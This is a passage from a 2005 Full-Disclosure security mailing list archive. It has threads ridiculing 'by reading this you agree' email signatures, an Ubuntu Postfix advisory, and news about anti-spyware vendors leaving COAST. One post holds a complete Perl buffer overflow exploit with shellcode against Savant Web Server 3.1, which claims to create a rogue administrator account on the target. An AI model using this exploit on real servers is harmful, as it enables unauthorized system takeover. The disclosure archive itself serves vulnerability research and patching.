like an idiot. Would you hire any "professional" _anything_ that would make such a statement? Forgetting for a moment that you cannot bind someone to an agreement just by having them READ IT, you may want to consider that you also can't bind them to a secrecy agreement AFTER giving out the "secret". To put that into English for those who are common-sense-impaired: you have to assert a right of secrecy BEFORE divulging the "protected" information. If you let a secret out BEFORE getting an [valid] agreement to maintain such secrecy, what you have done is to place your supposed secret into the public knowledgebase, from where anyone can do pretty much as they want (albeit subject to a few scattered and mostly unenforceable restrictions such as copyright). If you really, *really*, *REALLY* want to try and assert an agreement of secrecy, you MUST place the "agreement" BEFORE the beginning of your post. Of course, that means displaying the Cart00ney up front, where everyone can see that theres no reason to read further ;-) Now, as for those "Confidentiality notice"s you see on large company email systems, where the lowly little luser has no control over what his moronic email admin has automatically tagged to the bottom of the email: You DO realize that there is absolutely zero case law that holds these "notices" to be enforceable, right? As a common courtesy, people *may* CHOOSE to abide, but they don't HAVE to. And when you send something to a public list like this, you have completely wiped away even the common courtesy argument. I would suggest that you ask your legal department to advise your email admins to stop making your companies look stupid in public. -- Yours, J.A. Terranson sysadmin at mfn.org 0xBD4A95BF "Quadriplegics think before they write stupid pointless shit...because they have to type everything with their noses." http://www.tshirthell.com/ From adam at huntrecruiting.com Fri Feb 4 14:51:22 2005 From: adam at huntrecruiting.com (Adam Hunt) Date: Fri, 4 Feb 2005 09:51:22 -0500 Subject: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <200502021202.j12C2Xrs016786@lists.netsys.com> References: <200502021202.j12C2Xrs016786@lists.netsys.com> Message-ID: <2565e960f598fa67c92298a998552ad3@huntrecruiting.com> Not only is the agreement at the bottom of this outright silly but the company is trying to punt "Linux Shell accounts" with an image of a 12 in ibook in the header. Please don't take this as a Flame take this as constructive criticism On Feb 2, 2005, at 6:57 AM, Oliver Leitner wrote: > I was just surfing a bit around and came across this interresting > sounding > project. > > http://entropy.stop1984.com/ > > here is a short description of what it is from their page: > > "ENTROPY stands for Emerging Network To Reduce Orwellian Potency Yield > and as > such describes the main goal of the project. > > * ENTROPY is developed as a response to increasing censorship and > surveillance in the internet. The program connects your computer to a > network > of machines which all run this software. The ENTROPY network is running > parallel to the WWW and also other internet services like FTP, email, > ICQ. > etc. > * For the user the ENTROPY network looks like a collection of WWW > pages. > The difference to the WWW however is that there are no accesses to > central > servers. And this is why there is no site operator who could log who > downloaded what and when. Every computer taking part in the ENTROPY > network > (every node) is at the same time server, router for other nodes, > caching > proxy and client for the user: that is You. > * After you gained some experience with the ENTROPY network, there > are > command line tools for you to insert whole directory trees into the > network > as a ENTROPY site. So ENTROPY does for you what a webspace provider > does for > you in the WWW - but without the storage and bandwidth costs and > without any > regulation or policy as to what kind of content you are allowed to > publish. > Everyone can contribute his own ENTROPY site for everybody else to > browse > through. The contents is stored in a distributed manner across all > available > and reachable nodes and no one can find out about who put up what > contents > into the network [1]. Even if your node is not actively running, your > contents can be retrieved by others -- without knowing that it was > actually > you who published the files. Of course this is only true if you do not > publish your name (or leave your name or other personal data in the > files you > publish) > > Have fun, > Juergen " > > so i thought i might share the url with you peoples. > > If you have any suggestions for the project, contact em, and not me, i > am not > a developer there) > > Greetings > Oliver Leitner > Technical Staff > http://www.shells.at > -- > By reading this mail you agree to the following: > > using or giving out the email address and any > other info of the author of this email is strictly forbidden. > By acting against this agreement the author of this mail > will take possible legal actions against the abuse. > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.netsys.com/full-disclosure-charter.html > > Adam Hunt Director FreeTradeCampus.org adam at freetradecampus.org From Shadow333 at gmx.at Fri Feb 4 15:14:03 2005 From: Shadow333 at gmx.at (Oliver Leitner) Date: Fri, 4 Feb 2005 16:14:03 +0100 Subject: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <2565e960f598fa67c92298a998552ad3@huntrecruiting.com> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <2565e960f598fa67c92298a998552ad3@huntrecruiting.com> Message-ID: <200502041519.j14FJUrs020885@lists.netsys.com> I dunno whats this all of a sudden, but. 1. dunno what you have against my signature, btw, if you got a better idea or a better formulation for it, im open for it. after all im not the only one with such a signature here or on any other mailinglist, so why this all of a sudden reaction on it? arent you guys a bit late with that? 2. i am not the web designer, but i forwarded that information to our webdesigner, thank you for the input:) Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 04 February 2005 15:51, Adam Hunt wrote: > Not only is the agreement at the bottom of this outright silly but the > company is trying to punt "Linux Shell accounts" with an image of a 12 > in ibook in the header. > Please don't take this as a Flame take this as constructive criticism > > On Feb 2, 2005, at 6:57 AM, Oliver Leitner wrote: > > I was just surfing a bit around and came across this interresting > > sounding > > project. > > > > http://entropy.stop1984.com/ > > > > here is a short description of what it is from their page: > > > > "ENTROPY stands for Emerging Network To Reduce Orwellian Potency Yield > > and as > > such describes the main goal of the project. > > > > * ENTROPY is developed as a response to increasing censorship and > > surveillance in the internet. The program connects your computer to a > > network > > of machines which all run this software. The ENTROPY network is running > > parallel to the WWW and also other internet services like FTP, email, > > ICQ. > > etc. > > * For the user the ENTROPY network looks like a collection of WWW > > pages. > > The difference to the WWW however is that there are no accesses to > > central > > servers. And this is why there is no site operator who could log who > > downloaded what and when. Every computer taking part in the ENTROPY > > network > > (every node) is at the same time server, router for other nodes, > > caching > > proxy and client for the user: that is You. > > * After you gained some experience with the ENTROPY network, there > > are > > command line tools for you to insert whole directory trees into the > > network > > as a ENTROPY site. So ENTROPY does for you what a webspace provider > > does for > > you in the WWW - but without the storage and bandwidth costs and > > without any > > regulation or policy as to what kind of content you are allowed to > > publish. > > Everyone can contribute his own ENTROPY site for everybody else to > > browse > > through. The contents is stored in a distributed manner across all > > available > > and reachable nodes and no one can find out about who put up what > > contents > > into the network [1]. Even if your node is not actively running, your > > contents can be retrieved by others -- without knowing that it was > > actually > > you who published the files. Of course this is only true if you do not > > publish your name (or leave your name or other personal data in the > > files you > > publish) > > > > Have fun, > > Juergen " > > > > so i thought i might share the url with you peoples. > > > > If you have any suggestions for the project, contact em, and not me, i > > am not > > a developer there) > > > > Greetings > > Oliver Leitner > > Technical Staff > > http://www.shells.at > > -- > > By reading this mail you agree to the following: > > > > using or giving out the email address and any > > other info of the author of this email is strictly forbidden. > > By acting against this agreement the author of this mail > > will take possible legal actions against the abuse. > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.netsys.com/full-disclosure-charter.html > > Adam Hunt > Director FreeTradeCampus.org > adam at freetradecampus.org -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. From qobaiashi at gmx.net Fri Feb 4 16:43:35 2005 From: qobaiashi at gmx.net (qobaiashi) Date: Fri, 4 Feb 2005 17:43:35 +0100 Subject: [Full-Disclosure] Re: [Linux kernel ipv6_setsockopt integer overflow] In-Reply-To: References: Message-ID: <200502041743.35587.qobaiashi@gmx.net> Am Donnerstag, 3. Februar 2005 22:47 schrieb Dan Yefimov: > On Thu, 3 Feb 2005, qobaiashi wrote: > > There's no integer overflow here since there's the test for optlen < 0 in > linux/net/socket.c himmelarschundzwirn! you're rite .. i'm sure it wasn't there when i was lokoing for it :) ...thx -- -q/UNF From bkfsec at sdf.lonestar.org Fri Feb 4 16:18:41 2005 From: bkfsec at sdf.lonestar.org (bkfsec) Date: Fri, 04 Feb 2005 11:18:41 -0500 Subject: [Full-Disclosure] Cart00ney-Sigs In-Reply-To: <20050204074228.E35169@ubzr.zsa.bet> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <82abd3a705020207061dc12dc1@mail.gmail.com> <420330E4.7080805@snakegully.nu> <200502040947.j149lWrs024080@lists.netsys.com> <20050204074228.E35169@ubzr.zsa.bet> Message-ID: <4203A061.7050909@sdf.lonestar.org> J.A. Terranson wrote: > >Forgetting for a moment that you cannot bind someone to an agreement just >by having them READ IT, you may want to consider that you also can't bind >them to a secrecy agreement AFTER giving out the "secret". To put that >into English for those who are common-sense-impaired: you have to assert a >right of secrecy BEFORE divulging the "protected" information. If you let >a secret out BEFORE getting an [valid] agreement to maintain such secrecy, >what you have done is to place your supposed secret into the public >knowledgebase, from where anyone can do pretty much as they want (albeit >subject to a few scattered and mostly unenforceable restrictions such as >copyright). If you really, *really*, *REALLY* want to try and assert an >agreement of secrecy, you MUST place the "agreement" BEFORE the beginning >of your post. Of course, that means displaying the Cart00ney up front, >where everyone can see that theres no reason to read further ;-) > > Not only that, but in the case of an agreement pertaining to something within the email header (like an e-mail address), the notice of secrecy would have to be made before the header was displayed or parsed. One could argue that the presence of the address/name on the main view of most mail clients precludes the "agreement" due to lack of notice, and that programatically, the program parses the headers first, and as such they are not subject to the notice of secrecy. In other words: it's probably technically impossible to bind this agreement to a name/address on e-mail in the first place. >Now, as for those "Confidentiality notice"s you see on large company email >systems, where the lowly little luser has no control over what his moronic >email admin has automatically tagged to the bottom of the email: You DO >realize that there is absolutely zero case law that holds these "notices" >to be enforceable, right? As a common courtesy, people *may* CHOOSE to >abide, but they don't HAVE to. And when you send something to a public >list like this, you have completely wiped away even the common courtesy >argument. I would suggest that you ask your legal department to advise >your email admins to stop making your companies look stupid in public. > > > Or, even better, don't subscribe/post to security mailing lists from a corporate e-mail address. Considering the content of these lists, advertising the location of your guarded items is generally not advisable under most circumstances. Of course, this all depends on your circumstances. -Barry From frank at knobbe.us Fri Feb 4 16:34:59 2005 From: frank at knobbe.us (Frank Knobbe) Date: Fri, 04 Feb 2005 10:34:59 -0600 Subject: [Full-Disclosure] Cart00ney-Sigs (was: Re: Freenet clone) In-Reply-To: <20050204074228.E35169@ubzr.zsa.bet> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <82abd3a705020207061dc12dc1@mail.gmail.com> <420330E4.7080805@snakegully.nu> <200502040947.j149lWrs024080@lists.netsys.com> <20050204074228.E35169@ubzr.zsa.bet> Message-ID: <1107534899.509.23.camel@localhost> On Fri, 2005-02-04 at 07:58 -0600, J.A. Terranson wrote: > I'm not gonna ask the more common question, since I can plainly see the > answer of "No, I didn't have the money to pay a lawyer to write shit for > me"... heh... or just a very cheap one ;) Cheers, Frank Agreement: You are not allowed to read this email. If you are reading this, you already have read to this point and are in violation of this agreement. Please contact the sender to make arrangement for the deposit of your out-of-court settlement. You may not use this email or email address. By contacting the sender for the settlement, you are violating yet another section. Since you are already planning on settlement payments, please double your payment. Disclaimer: The sender of this email disclaims any type of brain activity related to sense or reason pertaining to the contents of this email. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050204/90dfded9/attachment.bin From martin.pitt at canonical.com Fri Feb 4 16:59:10 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Fri, 4 Feb 2005 17:59:10 +0100 Subject: [Full-Disclosure] [USN-74-2] Fixed Postfix packages for USN-74-1 Message-ID: <20050204165910.GA6244@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-74-2 February 04, 2005 postfix vulnerability http://bugs.debian.org/267837 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: postfix The problem can be corrected by upgrading the affected package to version 2.1.3-1ubuntu17.2. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: This is an update to the recently published Ubuntu Security Notice USN-74-1, which fixed the delivery of arbitrary mail to any MX host which has an IPv6 address. Unfortunately that upgrade revealed an error in the package upgrade system which caused package installation to fail. After the failed upgrade the Postfix server was not started again, thus no mail was delivered. This new set of packages fixes the error encountered when upgrading. Source archives: http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.2.diff.gz Size/MD5: 411437 13a5c70dc86b6ad2e46faa6672200e8a http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.2.dsc Size/MD5: 864 aee128959b1f82569fd02749f388d768 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3.orig.tar.gz Size/MD5: 1971632 1f515b0d80cd1f9db0113240bf36f248 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-dev_2.1.3-1ubuntu17.2_all.deb Size/MD5: 97088 46dcc8fcee909ecea7302e6947d05d07 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-doc_2.1.3-1ubuntu17.2_all.deb Size/MD5: 644018 dae4547b5d36db64479bebca2b5ec840 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-ldap_2.1.3-1ubuntu17.2_amd64.deb Size/MD5: 35498 6d6dd7836d5af1d83b7d2ead8bc0fda3 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-mysql_2.1.3-1ubuntu17.2_amd64.deb Size/MD5: 31404 d10130dc56d01393fc747e8b3e4c7a7a http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pcre_2.1.3-1ubuntu17.2_amd64.deb Size/MD5: 30968 173da69b4a8f840d1ef3c10b59f4a06e http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pgsql_2.1.3-1ubuntu17.2_amd64.deb Size/MD5: 31714 30b2ee7467e5b47a04ed1171c33748f6 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-tls_2.1.3-1ubuntu17.2_amd64.deb Size/MD5: 156612 74e496f8fb62d61b40a22f78aae736c2 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.2_amd64.deb Size/MD5: 820554 18bda73d0d8a0fd10ad7673c1860cc13 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-ldap_2.1.3-1ubuntu17.2_i386.deb Size/MD5: 34784 2fec1db5f7b4edabea43ed8626f0721e http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-mysql_2.1.3-1ubuntu17.2_i386.deb Size/MD5: 30896 16a60ac74dac8a267ec61f9174720a72 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pcre_2.1.3-1ubuntu17.2_i386.deb Size/MD5: 30602 aebc4184e77ab6fd432a3e71b3d97dae http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pgsql_2.1.3-1ubuntu17.2_i386.deb Size/MD5: 31178 438941c8a89fc88a88e2b85b8434e747 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-tls_2.1.3-1ubuntu17.2_i386.deb Size/MD5: 143082 eef18b6bc92d853b22e17860ba218e45 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.2_i386.deb Size/MD5: 763534 de18daee7c9c2b13b02d00a5ab1040d3 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-ldap_2.1.3-1ubuntu17.2_powerpc.deb Size/MD5: 36642 6520c94c375ce32827221b16081c5fb8 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-mysql_2.1.3-1ubuntu17.2_powerpc.deb Size/MD5: 32796 01b94955868878fa372b910c900a0017 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pcre_2.1.3-1ubuntu17.2_powerpc.deb Size/MD5: 32536 23b6cfd53bf332bb08f9f40832cb0ed5 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-pgsql_2.1.3-1ubuntu17.2_powerpc.deb Size/MD5: 33096 131f608edeb2bba86c7800ded7868f51 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix-tls_2.1.3-1ubuntu17.2_powerpc.deb Size/MD5: 152514 5ea8a791b57acafa9d07daf579ba6287 http://security.ubuntu.com/ubuntu/pool/main/p/postfix/postfix_2.1.3-1ubuntu17.2_powerpc.deb Size/MD5: 826232 b904c4bbf4e140cd92a9845bc8730c15 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050204/741d365a/attachment.bin From requiem at praetor.org Fri Feb 4 20:25:38 2005 From: requiem at praetor.org (Jeremy Bishop) Date: Fri, 4 Feb 2005 12:25:38 -0800 Subject: [Full-Disclosure] some interresting project i just stumbled across... In-Reply-To: <200502041519.j14FJUrs020885@lists.netsys.com> References: <200502021202.j12C2Xrs016786@lists.netsys.com> <2565e960f598fa67c92298a998552ad3@huntrecruiting.com> <200502041519.j14FJUrs020885@lists.netsys.com> Message-ID: <200502041225.39067.requiem@praetor.org> On Friday 04 February 2005 07:14, Oliver Leitner wrote: > I dunno whats this all of a sudden, but. > > 1. dunno what you have against my signature, btw, if you got a better > idea or a better formulation for it, im open for it. In general, confidentiality is only expected if you already have an agreement or working relationship where that is expected or agreed to. A message to a mailing list, as others have said, looks silly. The notice does not have force just by being attached to an email; any force it does have derives from invoking such an existing climate of confidentiality. If every message you send has such a notice attached, the recipient has no means of judging which messages should be considered confidential. Having the notice at the end of the email doesn't help either. My suggestions: if (and only if) a message would have an expectation of confidentiality it should be marked as such in the first line. (I imagine you've seen a few spy movies; remember the documents with "Confidential: Eyes Only" notices at the top? Same concept. You may find it appropriate to replace the "Eyes Only" part with "Do Not Forward Outside the Company" or "For Internal or Partner Use Only".) (The above statements may be more or less true depending on the legal environment in your country of residence. If you know of legislation or case law which significantly contradicts them, please post a reference. IANAL, etc.) > after all im not the only one with such a signature here or on any > other mailinglist, so why this all of a sudden reaction on it? arent > you guys a bit late with that? Yours included the "by reading this mail you agree" phrasing. Also, we need to start somewhere, why not with yours? > 2. i am not the web designer, but i forwarded that information to our > webdesigner, thank you for the input:) > > > -- > > > By reading this mail you agree to the following: > > > using or giving out the email address and any > > > other info of the author of this email is strictly forbidden. > > > By acting against this agreement the author of this mail > > > will take possible legal actions against the abuse. -- The mome rath isn't born that could outgrabe me. -- Nicol Williamson From corryl at sitoverde.com Fri Feb 4 22:07:12 2005 From: corryl at sitoverde.com (CorryL) Date: Fri, 4 Feb 2005 23:07:12 +0100 Subject: [Full-Disclosure] Exploit For Savant Web Server 3.1 (tested on win2003) Message-ID: <002301c50b05$e1b6e910$0100a8c0@server> I tested the buffer overflow on win2003 server using 253 evil byte for overwrite the eip register My exploit for testing use #!/usr/bin/perl ############################################################################ ###### #Savant Web Server 3.1 Remote Buffer Overflow Exploit # # # #This is exploit sending the 253 evil byte # #the eip register the overwrite on 254 > 258 byte # #exploit succefull created the Administrator User # #in the server victim # #Tested on win2003 server using ret 00b7ead8 # # # #D:\Documents and Settings\Administrator\Desktop\explo da uppare\prova>net users # #Account utente per \\SERVER # #--------------------------------------------------------------------------- ---- # #__vmware_user__ Administrator ASPNET # #bug Guest SUPPORT_388945a0 # #Esecuzione comando riuscita. # #D:\Documents and Settings\Administrator\Desktop\explo da uppare\prova> # # # #thanks to Mati Aharoni for discovered the bug # # info: www.x0n3-h4ck.org# ############################################################################ ###### use IO::Socket; use Getopt::Std; getopts('h:', \%args); if (defined($args{'h'})) { $host = $args{'h'}; } print STDERR "\n-=[ Savant Web Server 3.1 Remote Buffer Overflow Exploit ]=-\n"; print STDERR "-=[ ]=-\n"; print STDERR "-=[ Coded by CorryL info:www.x0n3-h4ck.org ]=-\n\n"; if (!defined($host)) { Usage(); } $nop = "\x90"x13; $ret= "\xd8\xea\xb7\x00"; my $shellcode = "\x2b\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x09". "\xb1\xc5\xbd\x83\xeb\xfc\xe2\xf4\xf5\x59\x83\xbd\x09\xb1\x4e\xf8". "\x35\x3a\xb9\xb8\x71\xb0\x2a\x36\x46\xa9\x4e\xe2\x29\xb0\x2e\x5e". "\x27\xf8\x4e\x89\x82\xb0\x2b\x8c\xc9\x28\x69\x39\xc9\xc5\xc2\x7c". "\xc3\xbc\xc4\x7f\xe2\x45\xfe\xe9\x2d\xb5\xb0\x5e\x82\xee\xe1\xbc". "\xe2\xd7\x4e\xb1\x42\x3a\x9a\xa1\x08\x5a\x4e\xa1\x82\xb0\x2e\x34". "\x55\x95\xc1\x7e\x38\x71\xa1\x36\x49\x81\x40\x7d\x71\xbe\x4e\xfd". "\x05\x3a\xb5\xa1\xa4\x3a\xad\xb5\xe0\xba\xc5\xbd\x09\x3a\x85\x89". "\x0c\xcd\xc5\xbd\x09\x3a\xad\x81\x56\x80\x33\xdd\x5f\x5a\xc8\xd5". "\xf9\x3b\xc1\xe2\x61\x29\x3b\x37\x07\xe6\x3a\x5a\xe1\x5f\x3a\x42". "\xf6\xd2\xa8\xd9\x27\xd4\xbd\xd8\x29\x9e\xa6\x9d\x67\xd4\xb1\x9d". "\x7c\xc2\xa0\xcf\x29\xd3\xb0\xda\x29\xd9\xa4\xde\x62\x91\xea\xfc". "\x4d\xf5\xe5\x9b\x2f\x91\xab\xd8\x7d\x91\xa9\xd2\x6a\xd0\xa9\xda". "\x7b\xde\xb0\xcd\x29\xf0\xa1\xd0\x60\xdf\xac\xce\x7d\xc3\xa4\xc9". "\x66\xc3\xb6\x9d\x6b\xc4\xa2\x9d\x26\xf0\x81\xf9\x09\xb1\xc5\xbd"; print "[+] Connect to $host\n"; $socket = new IO::Socket::INET (PeerAddr => "$host", PeerPort => 80, Proto => 'tcp'); die unless $socket; print "[+] Using 00b7ead8 // Ret For Win2003\n"; $buff = $nop.$shellcode.$ret; print "[+] Sending Payload 258 byte\n"; $data = "GET /$buff \r\n\r\n"; send ($socket,$data,0); print "[+] Creating Administrator User: User 'bug' Password 'hack'\n"; close; sub Usage { print STDERR "Usage: -h Victim host.\n\n"; exit; } Downloaded from http://x0n3-h4ck.org/upload/savant-explo.pl Info: CorryL corryl80 at gmail.com www.x0n3-h4ck.org _________________________________ www.seekstat.it is your web stat From nick at virus-l.demon.co.uk Fri Feb 4 23:35:15 2005 From: nick at virus-l.demon.co.uk (Nick FitzGerald) Date: Sat, 05 Feb 2005 12:35:15 +1300 Subject: [Full-Disclosure] Cart00ney-Sigs (was: Re: Freenet clone) In-Reply-To: <20050204074228.E35169@ubzr.zsa.bet> References: <200502040947.j149lWrs024080@lists.netsys.com> Message-ID: <4204BD83.21351.7DEE675F@localhost> J.A. Terranson wrote: <> > Now, as for those "Confidentiality notice"s you see on large company email > systems, where the lowly little luser has no control over what his moronic > email admin has automatically tagged to the bottom of the email: You DO > realize that there is absolutely zero case law that holds these "notices" > to be enforceable, right? As a common courtesy, people *may* CHOOSE to > abide, but they don't HAVE to. And when you send something to a public > list like this, you have completely wiped away even the common courtesy > argument. I would suggest that you ask your legal department to advise > your email admins to stop making your companies look stupid in public. Actually, most such amatuerish "disclaimers" have a much worse effect than you suggest. There is some case law that suggests such blanket and clearly inappropriately general disclaimers or claims for special privileged rights _negate_, or at least substantially weaken, all such claims the company makes as the company clearly has no idea which of its, or its employees', actions or which of its products do or do not contain "protected" material. Regards, Nick FitzGerald From zx at castlecops.com Sat Feb 5 03:12:11 2005 From: zx at castlecops.com (Paul Laudanski) Date: Fri, 4 Feb 2005 22:12:11 -0500 (EST) Subject: [Full-Disclosure] Webroot Software Resigns from COAST Message-ID: Original: http://castlecops.com/article-5721-nested-0-0.html In a very interesting turn around for COAST's credibility (and that of the folks who continue to remain as members), Webroot Software issued a press release: http://castlecops.com/article-5719-nested-0-0.html "Webroot Software announced today that after careful consideration, the company has decided to withdraw its membership from the Consortium of Anti-Spyware Technology Vendors (COAST). The company issued the following statement: Webroot has always considered our obligations to our customers as our most important mission as a company. We believe their protection, privacy and peace of mind are paramount and have developed products and supported public policies that reflect that view. Our founding of the Consortium of Anti-Spyware Technology Vendors, or COAST, also reflected that position." There is a very odd and long history about COAST. COAST was founded by other companies including Aluria Software. Aluria Software last year gave "Spyware Safe" status to WhenU. COAST recently added 180solutions to its membership. And now Webroot has left this organization. http://castlecops.com/article5669.html Some interesting information about Aluria Software their delisting of WhenU for their antispyware product, including how America Online insisted WhenU stay listed for their AOL members: http://castlecops.com/article-5524-nested-0-0.html 20 questions were sent to Aluria and they answered, electing not to answer one critical question about why two dictionaries exist: http://castlecops.com/article5618.html 1) AOL insists on WhenU being listed in Aluria's Spyware Eliminator 2) Outside of AOL, WhenU was listed as "Spyware Safe" and delisted in Aluria's Spyware Eliminator Out of roughly 1500 respondants, 85% no longer trust Aluria: http://castlecops.com/modules.php?name=Surveys&op=results&pollID=28&mode=nested&order=0&thold=0 Could COAST be Toast? Wayne Porter from Revenews decidedly thinks so: http://www.revenews.com/wayneporter/archives/000389.html#more Lavasoft was another defector from the COAST organization much earlier. It appears that with all the anti-spyware folks leaving COAST, the companies who remain are called into question on their motives. John Dvorak in his CBS Marketwatch weekley column stated: http://www.marketwatch.com/news/yhoo/story.asp?guid={65E7967A-DA81-451C-BE78-B5552FAC958C}&siteid=myyahoo&dist=myyahoo "There are many others including the highly regarded Spyware Eliminator from Aluria which seems to be in the middle of a conflict of interest debate you can read about at the Castlecops website at http://castlecops.com/article-5523-nested-0-0.html. Currently I cannot recommend this program until these issues are resolved." "Will COAST be Toast?" "Will Aluria be Eliminated?" Aluria has already taken measures in the past to stop comments about their own privacy policy. One smart reader spotted an old cache archive and found that Spywareguide was correct: http://castlecops.com/article-5516-nested-0-0.html A website called AdwareReport was highly critical of the Spywareguide article, but history has shown that Spywareguide reported on factual -- albeit dated -- Aluria privacy policy. BroadbandReports picked up on this Aluria defending their certification of WhenU: http://www.broadbandreports.com/shownews/58066?r=236 It appears that here too, public commentary does not favor Aluria. WildersSecurity picked up the story and made "The Lure of Aluria" available for readers: http://www.wilderssecurity.com/showthread.php?t=55643 This was one of the articles Spywareguide was ordered by Aluria to cease and desist. Earlier Suzi at SpywareWarrior is Baffled by Aluria: http://netrn.net/spywareblog/archives/2004/11/22/baffled-by-aluria/ SpywareInfo delisted Aluria from their database: http://www.spywareinfo.com/newsletter/archives/1104/4.php The companies that exist as members of COAST today (notice Webroot was not yet removed): http://www.coast-info.org/members.htm 1) http://www.pestpatrol.com/ 2) http://www.aluriasoftware.com/ 3) http://www.webroot.com/wb/index.php (Announced today they are no longer a member) 4) http://www.noadware.net/ 5) http://www.new.net/ 6) http://www.weatherbug.com/ It also appears 180solutions is not listed in the membership yet either. Weatherbug has known spyware: http://castlecops.com/startuplist-395.html http://castlecops.com/startuplist-2128.html 180solutions known spyware: http://castlecops.com/startuplist-4847.html http://castlecops.com/startuplist-5203.html http://castlecops.com/startuplist-4691.html http://castlecops.com/startuplist-5012.html http://castlecops.com/startuplist-5150.html http://castlecops.com/startuplist-5247.html http://castlecops.com/startuplist-5275.html http://castlecops.com/startuplist-6245.html http://castlecops.com/startuplist-6574.html http://castlecops.com/startuplist-6832.html I'm sure the public would like to know from Computer Associates who now own PestPatrol. Will they continue to remain partners with COAST? As Wayne put it, "Is COAST Toast"? trackbacks: http://alpha.revenews.com/MT/mt-tb.cgi/337 http://castlecops.com/trackback/News/5719 -- Regards, Paul Laudanski - Computer Cops, LLC. CastleCops(SM) - http://castlecops.com http://cuddlesnkisses.com | http://justalittlepoke.com | http://zhen-xjell.com From jasonc at science.org Sat Feb 5 03:16:00 2005 From: jasonc at science.org (Jason Coombs) Date: Sat, 5 Feb 2005 03:16:00 +0000 GMT Subject: [Full-Disclosure] some interresting project i just stumbledacross... Message-ID: <1560101333-1107573779-cardhu_blackberry.rim.net-12237-@engine57> What we really need is click-through contracts for e-mail messages. Somebody write an RFC, quick. -----Original Message----- From: Jeremy Bishop Date: Fri, 4 Feb 2005 12:25:38 To:full-disclosure at lists.netsys.com Subject: Re: [Full-Disclosure] some interresting project i just stumbled across... On Friday 04 February 2005 07:14, Oliver Leitner wrote: > I dunno whats this all of a sudden, but. > > 1. dunno what you have against my signature, btw, if you got a better > idea or a better formulation for it, im open for it. In general, confidentiality is only expected if you already have an agreement or working relationship where that is expected or agreed to. A message to a mailing list, as others have said, looks silly. The notice does not have force just by being attached to an email; any force it does have derives from invoking such an existing climate of confidentiality. If every message you send has such a notice attached, the recipient has no means of judging which messages should be considered confidential. Having the notice at the end of the email doesn't help either. My suggestions: if (and only if) a message would have an expectation of confidentiality it should be marked as such in the first line. (I imagine you've seen a few spy movies; remember the documents with "Confidential: Eyes Only" notices at the top? Same concept. You may find it appropriate to replace the "Eyes Only" part with "Do Not Forward Outside the Company" or "For Internal or Partner Use Only".) (The above statements may be more or less true depending on the legal environment in your country of residence. If you know of legislation or case law which significantly contradicts them, please post a reference. IANAL, etc.) > after all im not the only one with such a signature here or on any > other mailinglist, so why this all of a sudden reaction on it? arent > you guys a bit late with that? Yours included the "by reading this mail you agree" phrasing. Also, we need to start somewhere, why not with yours? > 2. i am not the web designer, but i forwarded that information to our > webdesigner, thank you for the input:) > > > -- > > > By reading this mail you agree to the following: > > > using or giving out the email address and any > > > other info of the author of this email is strictly forbidden. > > > By acting against this agreement the author of this mail > > > will take possible legal actions against the abuse. -- The mome rath isn't born that could outgrabe me. -- Nicol Williamson _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From Valdis.Kletnieks at vt.edu Sat Feb 5 04:55:31 2005 From: Valdis.Kletnieks at vt.edu (Valdis.Kletnieks at vt.edu) Date: Fri, 04 Feb 2005 23:55:31 -0500 Subject: [Full-Disclosure] some interresting project i just stumbledacross... In-Reply-To: Your message of "Sat, 05 Feb 2005 03:16:00 GMT." <1560101333-1107573779-cardhu_blackberry.rim.net-12237-@engine57> References: <1560101333-1107573779-cardhu_blackberry.rim.net-12237-@engine57> Message-ID: <200502050455.j154tVPZ020582@turing-police.cc.vt.edu> On Sat, 05 Feb 2005 03:16:00 GMT, Jason Coombs said: > What we really need is click-through contracts for e-mail messages. > > Somebody write an 